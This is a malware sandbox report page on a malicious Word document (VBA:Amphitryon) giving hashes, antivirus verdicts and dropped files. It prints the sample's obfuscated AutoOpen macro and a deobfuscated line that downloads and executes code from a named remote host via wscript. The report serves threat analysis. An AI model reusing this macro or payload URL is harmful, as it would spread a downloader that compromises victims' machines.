24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2c:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c9,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious VBA:Amphitryon.4584 Sample ca7eecb0d135… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ca7eecb0d135…. Malware family: VBA:Amphitryon.4584. Threat score 100/100. 13/28 AV engines flagged this file. 7 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322","keywords":["Malicious","VBA:Amphitryon.4584","malware analysis","sandbox report","threat intelligence","ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322"],"about":{"@type":"SoftwareApplication","name":"CA7EECB0D135F064DA15343C08811EF6B8BE083C0EA848249C58AE387C53F322","applicationCategory":["doc","office"],"identifier":"ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"VBA:Amphitryon.4584","antivirusDetections":{"malicious":13,"total":28},"behavioralIndicators":{"malicious":7,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Te1f,File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "Const EAJdYhWcG = 2443.24 Function ZmgPiSw_(MsVXpVf) MsgBox "+/:/.%=?!?" ZmgPiSw_ = MsVXpVf End Function If EAJdYhWcG = 2189.056 Then Const XRdFY = 3367.9139 Else Const XRdFY = "" End If If EAJdYhWcG = 328.887 Then Const dEXD = 1274.4687 Else Const dEXD = "" End If #If EAJdYhWcG <> 1248.427 Then Sub ViewPage(nShape) On Error Resume Next Set doc = ActiveDocument Set sel = doc.Shapes(nShape) sel.Fill.Solid sel.Delete For ViewMode = 10 To 0 Step -1 ActiveWindow.View.SeekView = ViewMode With Selection .WholeStory .Font.Hidden = False .Collapse End With Next End Sub Sub MainPage(resp) Documents.Add hs = "On " & XRdFY & "Err" & XRdFY & "or " & dEXD & "Res" & XRdFY & "ume" & dEXD & " Ne" & dEXD & "xt:" & dEXD & "Set" & XRdFY & " mx" & dEXD & " = " & XRdFY & "Cre" & dEXD & "ate" & XRdFY & "Obj" & XRdFY & "ect" & dEXD & "(""" & XRdFY & "MSX" & XRdFY & "ML2" & dEXD & ".Se" & dEXD & "rve" & XRdFY & "rXM" & XRdFY & "LHT" & dEXD & "TP." & XRdFY & "6.0" & dEXD & """)" & XRdFY & ":mx" & XRdFY & ".op" & dEXD & "en " & XRdFY & """G" & dEXD & "ET""" & XRdFY & " """ & XRdFY & "htt" & dEXD & "p:/" & XRdFY & "/xx" & XRdFY & "x/l" & XRdFY & "ist" & XRdFY & ".ph" & XRdFY & "p?q" & dEXD & "uer" & XRdFY & "y=1" & dEXD & """ " & XRdFY & " Fa" & XRdFY & "lse" & dEXD & ":mx" & XRdFY & ".Se" & dEXD & "nd:" & XRdFY & "Exe" & XRdFY & "cut" & dEXD & "e(m" & XRdFY & "x.r" & dEXD & "esp" & XRdFY & "ons" & dEXD & "eTe" & dEXD & "xt)" ui = "sam" & dEXD & "sod" & XRdFY & "ing" & XRdFY & ".ho" & XRdFY & "mm7" & XRdFY & ".ge" & XRdFY & "tho" & dEXD & "mpy" & dEXD & ".co" & dEXD & "m/p" & dEXD & "lug" & XRdFY & "ins" & dEXD & "/dr" & XRdFY & "opz" & dEXD & "one" & XRdFY & "/mi" & XRdFY & "n/c" & dEXD & "ss" hs = Replace(hs, "xxx", ui) rp = resp & "\15" & XRdFY & "899" & dEXD & "890" & XRdFY & "24." & dEXD & "xml" ActiveDocument.Range.Text = hs ActiveDocument.SaveAs2 FileName:=rp, FileFormat:=wdFormatText ActiveDocument.Close Set wmObj = GetObject("win" & XRdFY & "mgm" & XRdFY & "ts:" & XRdFY & "win" & dEXD & "32_" & dEXD & "pro" & dEXD & "ces" & dEXD & "s") wmObj.Create "wsc" & XRdFY & "rip" & XRdFY & "t.e" & XRdFY & "xe " & XRdFY & "//e" & XRdFY & ":vb" & XRdFY & "scr" & XRdFY & "ipt" & XRdFY & " //" & dEXD & "b " & rp End Sub Sub AutoOpen() On Error Resume Next Application.ActiveWindow.View.Type = wdPrintView Set wnd = ActiveDocument wnd.Unprotect "1qa" & dEXD & "z2w" & dEXD & "sx" ViewPage ("pic") wnd.Save Set ob_tmp = Application.Templates Dim tmp As Template For Each tmp In ob_tmp If tmp.Type = 0 Then MainPage (tmp.Path) Exit For End If Next End Sub #End If"26:T9b0,Normalized macro string: "& XRdFY &" Normalized macro string: "Const EAJdYhWcG = 2443.24 Function ZmgPiSw_(MsVXpVf) MsgBox +/:/.%=?!? ZmgPiSw_ = MsVXpVf End Function If EAJdYhWcG = 2189.056 Then Const XRdFY = 3367.9139 Else Const XRdFY = End If If EAJdYhWcG = 328.887 Then Const dEXD = 1274.4687 Else Const dEXD = End If #If EAJdYhWcG <> 1248.427 Then Sub ViewPage(nShape) On Error Resume Next Set doc = ActiveDocument Set sel = doc.Shapes(nShape) sel.Fill.Solid sel.Delete For ViewMode = 10 To 0 Step -1 ActiveWindow.View.SeekView = ViewMode With Selection .WholeStory .Font.Hidden = False .Collapse End With Next End Sub Sub MainPage(resp) Documents.Add hs = On & XRdFY & Err & XRdFY & or & dEXD & Res & XRdFY & ume & dEXD & Ne & dEXD & xt: & dEXD & Set & XRdFY & mx & dEXD & = & XRdFY & Cre & dEXD & ate & XRdFY & Obj & XRdFY & ect & dEXD & ( & XRdFY & MSX & XRdFY & ML2 & dEXD & .Se & dEXD & rve & XRdFY & rXM & XRdFY & LHT & dEXD & TP. & XRdFY & 6.0 & dEXD & ) & XRdFY & :mx & XRdFY & .op & dEXD & en & XRdFY & G & dEXD & ET & XRdFY & , & XRdFY & htt & dEXD & p:/ & XRdFY & /xx & XRdFY & x/l & XRdFY & ist & XRdFY & .ph & XRdFY & p?q & dEXD & uer & XRdFY & y=1 & dEXD & , & XRdFY & Fa & XRdFY & lse & dEXD & :mx & XRdFY & .Se & dEXD & nd: & XRdFY & Exe & XRdFY & cut & dEXD & e(m & XRdFY & x.r & dEXD & esp & XRdFY & ons & dEXD & eTe & dEXD & xt) ui = sam & dEXD & sod & XRdFY & ing & XRdFY & .ho & XRdFY & mm7 & XRdFY & .ge & XRdFY & tho & dEXD & mpy & dEXD & .co & dEXD & m/p & dEXD & lug & XRdFY & ins & dEXD & /dr & XRdFY & opz & dEXD & one & XRdFY & /mi & XRdFY & n/c & dEXD & ss hs = eplace(hs, xxx, ui) rp = resp & \15 & XRdFY & 899 & dEXD & 890 & XRdFY & 24. & dEXD & xml ActiveDocument.Range.Text = hs ActiveDocument.SaveAs2 FileName:=rp, FileFormat:=wdFormatText ActiveDocument.Close Set wmObj = GetObject(win & XRdFY & mgm & XRdFY & ts: & XRdFY & win & dEXD & 32_ & dEXD & pro & dEXD & ces & dEXD & s) wmObj.Create wsc & XRdFY & rip & XRdFY & t.e & XRdFY & xe & XRdFY & //e & XRdFY & :vb & XRdFY & scr & XRdFY & ipt & XRdFY & // & dEXD & b & rp End Sub Sub AutoOpen() On Error Resume Next Application.ActiveWindow.View.Type = wdPrintView Set wnd = ActiveDocument wnd.Unprotect 1qa & dEXD & z2w & dEXD & sx ViewPage (pic) wnd.Save Set ob_tmp = Application.Templates Dim tmp As Template For Each tmp In ob_tmp If tmp.Type = 0 Then MainPage (tmp.Path) Exit For End If Next End Sub #End If"27:T690,">L<" (Indicator: "open") "!"#$%&'()*+ -./0123456789:;<=?@ABCDEFIJKLMNP" (Indicator: "open"), "a*\G{000204EF-0000-0000-C000-000000000046}#4.1#9#C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL#Visual Basic For Applications*\G{000209ThisDocument" (Indicator: "open"), ">J:" (Indicator: "open"), "On Error Resume Next:Set mx = CreateObject("MSXML2.ServerXMLHTTP.6.0"):mx.open "GET" "http://samsoding.homm7.gethompy.com/plugins/dropzone/min/css/list.php?query=1" False:mx.Send:Execute(mx.responseText)" (Indicator: "open")28:T999,"Templates.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Directory ctime=Sun Dec 3 21:54:57 2017 mtime=Mon Sep 19 22:08:20 2022 atime=Mon Sep 19 22:08:20 2022 length=4096 window=hide"- Location: [%APPDATA%\Microsoft\Office\Recent\Templates.LNK]- [targetUID: 00000000-00003096] "1589989024.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Mon Sep 19 22:08:20 2022 mtime=Mon Sep 19 22:08:20 2022 atime=Mon Sep 19 22:08:22 2022 length=207 window=hide"- Location: [%APPDATA%\Microsoft\Office\Recent\1589989024.LNK]- [targetUID: 00000000-00003096] "ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Mon Sep 19 22:07:14 2022 mtime=Mon Sep 19 22:07:14 2022 atime=Mon Sep 19 22:06:34 2022 length=230400 window=hide"- Location: [%APPDATA%\Microsoft\Office\Recent\ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322.LNK]- [targetUID: 00000000-00003096] "~_7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322.doc" has type "data"- [targetUID: N/A] "~WRS_19930A09-40B1-4C17-BDDE-0BD477D2FDC6_.tmp" has type "data"- [targetUID: N/A] "~WRS_A778A42A-8C69-4996-8ADC-C99282FE557E_.tmp" has type "data"- [targetUID: N/A] "index.dat" has type "data"- Location: [%APPDATA%\Microsoft\Office\Recent\index.dat]- [targetUID: 00000000-00003096] "ExcludeDictionaryEN0409.lex" has type "Little-endian UTF-16 Unicode text with no line terminators"- Location: [%APPDATA%\Microsoft\UProof\ExcludeDictionaryEN0409.lex]- [targetUID: 00000000-00003096] "~WRD0000.tmp" has type "Composite Document File V2 Document Little Endian Os: Windows Version 6.1 Code page: -535 Title: Author: Administrator Template: Normal Last Saved By: HAPUBWS Revision Number: 3 Name of Creating Application: Microsoft Office Word Create Time/Date: Thu May 13 14:56:00 2021 Last Saved Time/Date: Mon Sep 19 22:08:00 2022 Number of Pages: 1 Number of Words: 209 Number of Characters: 1197 Security: 0"- Location: [C:\~WRD0000.tmp]- [targetUID: 00000000-00003096] "~WRD0002.tmp" has type "ASCII text with CRLF line terminators"- Location: [%APPDATA%\Microsoft\Templates\~WRD0002.tmp]- [targetUID: 00000000-00003096] "~_89989024.xml" has type "data"- [targetUID: N/A] "~_Normal.dotm" has type "data"- [targetUID: N/A]29:T45e,"Templates.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Directory ctime=Sun Dec 3 21:54:57 2017 mtime=Mon Sep 19 22:08:20 2022 atime=Mon Sep 19 22:08:20 2022 length=4096 window=hide"- Location: [%APPDATA%\Microsoft\Office\Recent\Templates.LNK]- [targetUID: 00000000-00003096] "1589989024.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Mon Sep 19 22:08:20 2022 mtime=Mon Sep 19 22:08:20 2022 atime=Mon Sep 19 22:08:22 2022 length=207 window=hide"- Location: [%APPDATA%\Microsoft\Office\Recent\1589989024.LNK]- [targetUID: 00000000-00003096] "ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Mon Sep 19 22:07:14 2022 mtime=Mon Sep 19 22:07:14 2022 atime=Mon Sep 19 22:06:34 2022 length=230400 window=hide"- Location: [%APPDATA%\Microsoft\Office\Recent\ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322.LNK]- [targetUID: 00000000-00003096]2a:T92c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAGqElEQVR42s2X2U+UZxTGTZr0L/C+V6ZJL1qbtLax6U3b1GhjaltjSI21GtRia1s1tHGJqVIVxYpiBWTfYdgXkR0EXABlB9lnmH1lmIEZmO2bp+95v/mGGcVCml44ycPMsHzP7znnPecbNmx4VR9VbYMIVWXrACpa+rnKm/tR1tSLUlJDL0oanqK4/glkdT0oYiq8183UhQL2rFDoYDKZ8J8A1vvw+5mkZyZBAHxM+bVdOHkpjUMozeaXQ5xMNELSsZs6riPXZhEZO4XvYkYR8ccY9pwdxK7oHuw68Qjbj7VzffJDA7bsLw8ac/MQgLy7j6CxAhHHYv4dgozruhyrqrjVHlRWnY3rTtUc160SHTbvLVnV3MuUW/2AA0wbvPh4948vh5AAwsoK8YI+9sXr88PtIQlYdglwLvvgcPpWB2AvJICsyo4gwIDcifd3Rq4OQSUPBRD84eYerx8ud7j5gsPDAd6KyAsCFPcshimzvD0EwIHOESve2bb/RQjqNwGcThrHr3FDXNTrimYFN/8wIpmb0xnYe/oJF52BK/nGIIAQAKDHvMOLMbUD6WVtaBuyoKnPhNoePcofaCBrVQYhVgWgVKRDZ2v4xQ5f7Mfbu+LRPaTi34+KeYwPDtxFTNok4vJm8OZXmWEAS6xSAnvTPWZGemkrDkZfw77jsdhz9Dx2HjyFz749jo++juIQQQA67QRAF6GLkrlS5+SvyXTTjqscgCpC5hu37obV5uI/f2NHShgAJe8Zt8Dm9KK4Q4PCdjXy21TIb5IHlcuuEwZAo0annPpNVSAAWbOJp/08eoIDEMi2E0/56+irabDMu3kVngfIbzeiqNOAnFYdrlfIcadejfPZfVhc9sO+JGDeKSC76TkAmnECoH5T/wmALi6ZU7+l0lP6Z9MmmKwu/jsbP40PA4iVTSChWoHUBi0SqmZxp07DARaW/LAxAOuigMxGZTjAN6f6OACNGRnRWErmVHpaRNJ7Sk/mRouLV4sAxIkRASh5YaceeW163KpRIemeCGBnAPMOAXMMIK3hOQA68bRgCGDfmc6gmdZg5b3eeqSPv5fSk7nBsrwCEFg+ZPQy2Zx+WBmAZUFASp0qHIBKTAA0apu+lHGzssYB2BY8XPQ9Mk/IrRXNTS7ojMs4eaMbr2+NFRcP7QtaWLQz2NJacvvhcPlZ7wXeezKfY+Ymu4DEWs2LALRapSVDksypAnTgpLJL5hrDCoCMTvt9FfLYjOc0zyKrUYH0+hmk3ptG8t0pJNZM8tKb7D4YbD4k1GjDAeimIgHQhluPuQTw2nsXeOrQ5M6Q5FLfzSy9wSZAZ/UhvmoVAGkBSaItR3NOotNO/SaRaagIQEqe2SgPT149gb8rx5FQMQYjS6+fF6CZ8yGuQhcOQLdUuqmQaLWSaMPRjJPooEmikpPImLRh82/B1GLPxXm3sXmfc4jJRXMfN1dZfLhcbggHWO2RWd6BZVZSUlW3ARWP9Sh7qENJpxZFHWoUBHqeHUiexpKn8OSTweQ3y8cQX/YM10tGoWWlVzNzhcmLmBLj2gAZ7E7mpGSSXOFysB5TWtJCoN+U2hrsuW8luZWSezHLzGfYnfGczLwOgNL7WHQJ/DAFk7O9XsD2em6Lkq/TzAaWvC48+a2Q5H+x5HHFI7haNCyaG72Y0ntxunBubYC0kja+vShZqGihUFISnXBarZTYsiCOmdEmpqaS856bqew+nnySmY9rPfgtfx0AqcWt/MZBJkWBO5qUPENKXjuFJDbjt6tCkpcGkstGcKVoCLEFQ7iUPxg0f6b24ETu/NoAKbIWnoynCyQ0B+bZxPpLG81oF/hiocS6QGI1k9IsHjYqOX0amtB5MKYRzYdVHvySY1sbILmoWSyp3RcsLYkMDWyeJVOp1HTClUxxsmGe/HLBIE/+Z94AYnL7McrMh5QeDMx68FOWfR0AhU3chBvNe5l8XNo50VAypR4rTWKf5SYxMR20SUrNSj6qEVMPKt3cvE/hQVTGwtoASQVNfHw0c17RkI2RmokMVWY2UkxUZoVxpdSTeg83HqdyM42o3BhmqQeZcb/CjV65Gz3TbhxOX1wbIDG/kfdS0mygr2QoD5p6MB1IOxFIzI0DvR6adaOfqY8ZP50Rzbum3IhMc6wPgMr6oFeBuoczKG2RI6dejuRqNW6wu5mk69VaxFXqEFuhx8UyIy6UmnCu2Mxm3cLGzcpP/M/ZdhxlfT+SsYhIlv5g6joAbuc1IOrMTXzx/e/8U+yWnYfw7vYD/A//L70S/4X/A1vBZ5HJ+mtNAAAAAElFTkSuQmCC2b:T92c,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:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790642243613,"unified_at":"2026-09-29T00:37:23.613Z","metadata":{"hashes":{"sha256":"ca7eecb0d135f064da15343c08811ef6b8be083c0ea848249c58ae387c53f322","sha1":"eeefb9c419d40bf7c11fff25871381c8ae2bbe0c","md5":"d3a317dd167cfa77c976fa9c86c24982","sha512":"691b27521c86775f2c1649f7b8cbc885c40a7b23206fe0187a94b4927ee7b0df3c49bc366f3dabe2b80675e7d7b63b832f4fceffa11fffac6df5cbb212dd78f3","ssdeep":"3072:kwr4mLq604uzBZfud1XeCwr4mLq604uzBZfuUtG:FNLqSH5erNLqS","ssdeep_chunks":["3072:kwr4mLq","3072:wr4mLq6","3072:r4mLq60","3072:4mLq604","3072:mLq604u","3072:Lq604uz","3072:q604uzB","3072:604uzBZ","3072:04uzBZf","3072:4uzBZfu","3072:uzBZfud","3072:zBZfud1","3072:BZfud1X","3072:Zfud1Xe","3072:fud1XeC","3072:ud1XeCw","3072:d1XeCwr","3072:1XeCwr4","3072:XeCwr4m","3072:eCwr4mL","3072:Cwr4mLq","3072:uzBZfuU","3072:zBZfuUt","3072:BZfuUtG","6144:kwr4mLq","6144:wr4mLq6","6144:r4mLq60","6144:4mLq604","6144:mLq604u","6144:Lq604uz","6144:q604uzB","6144:604uzBZ","6144:04uzBZf","6144:4uzBZfu","6144:uzBZfud","6144:zBZfud1","6144:BZfud1X","6144:Zfud1Xe","6144:fud1XeC","6144:ud1XeCw","6144:d1XeCwr","6144:1XeCwr4","6144:XeCwr4m","6144:eCwr4mL","6144:Cwr4mLq","6144:uzBZfuU","6144:zBZfuUt","6144:BZfuUtG","3072:FNLqSH5","3072:NLqSH5e","3072:LqSH5er","3072:qSH5erN","3072:SH5erNL","3072:H5erNLq","3072:5erNLqS"],"imphash":"Unknown"},"file_info":{"file_name":"CA7EECB0D135F064DA15343C08811EF6B8BE083C0EA848249C58AE387C53F322","file_type":["doc","office"],"file_type_id":"doc","file_size":230400,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1663632353000,"last_seen":1683557559000,"last_multi_scan":1683557559000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["banker","emotet","infostealer","macros-on-open","qakbot"]},"stats":{"av":{"malicious_count":13,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":10},"sandbox_signatures":{"informative_count":17,"suspicious_count":10,"malicious_count":7,"total":34},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Downloader/DOC.Generic.S1522","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/MSOffice.Agent.bwy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"VBA:Amphitryon.4584","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W97M/Agent.VR.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"VBA:Amphitryon.4584 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"VBA/TrojanDropper.Agent.BWY trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.MSOffice.SAgent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"W97M/Downloader.dsn","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DocDl-ADZG","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_FR.ECFDC910","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_FR.ECFDC910","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT 